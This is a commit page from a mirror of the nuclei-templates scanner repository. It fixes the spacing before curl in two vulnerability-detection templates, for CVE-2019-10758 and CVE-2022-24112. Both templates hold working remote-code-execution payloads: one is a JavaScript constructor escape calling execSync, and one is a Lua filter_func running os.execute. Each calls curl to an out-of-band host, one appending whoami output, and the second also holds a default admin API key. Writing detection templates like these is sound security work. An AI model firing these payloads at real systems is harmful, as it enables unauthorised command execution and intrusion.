daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Modify space between curl and characters (#5205)

patch-1
DD_ 2022-08-26 00:20:19 +09:00 committed by GitHub
parent e9fa5bcc16
commit d0ccdcb6a1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 2 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

2
cves/2019/CVE-2019-10758.yaml
View File

@ -26,7 +26,7 @@ requests:
Authorization: Basic YWRtaW46cGFzcw== Authorization: Basic YWRtaW46cGFzcw==
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl{{interactsh-url}}") document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")
matchers: matchers:
- type: word - type: word
part: interactsh_protocol # Confirms the HTTP Interaction part: interactsh_protocol # Confirms the HTTP Interaction

2
cves/2022/CVE-2022-24112.yaml
View File

@ -41,7 +41,7 @@ requests:
{ {
"method":"PUT", "method":"PUT",
"path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1", "path":"/apisix/admin/routes/index?api_key=edd1c9f034335f136f87ad84b625c8f1",
"body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl{{interactsh-url}}/`whoami`'); return true end\"}" "body":"{\r\n \"name\": \"test\", \"method\": [\"GET\"],\r\n \"uri\": \"/api/{{randstr}}\",\r\n \"upstream\":{\"type\":\"roundrobin\",\"nodes\":{\"httpbin.org:80\":1}}\r\n,\r\n\"filter_func\": \"function(vars) os.execute('curl {{interactsh-url}}/`whoami`'); return true end\"}"
} }
] ]
} }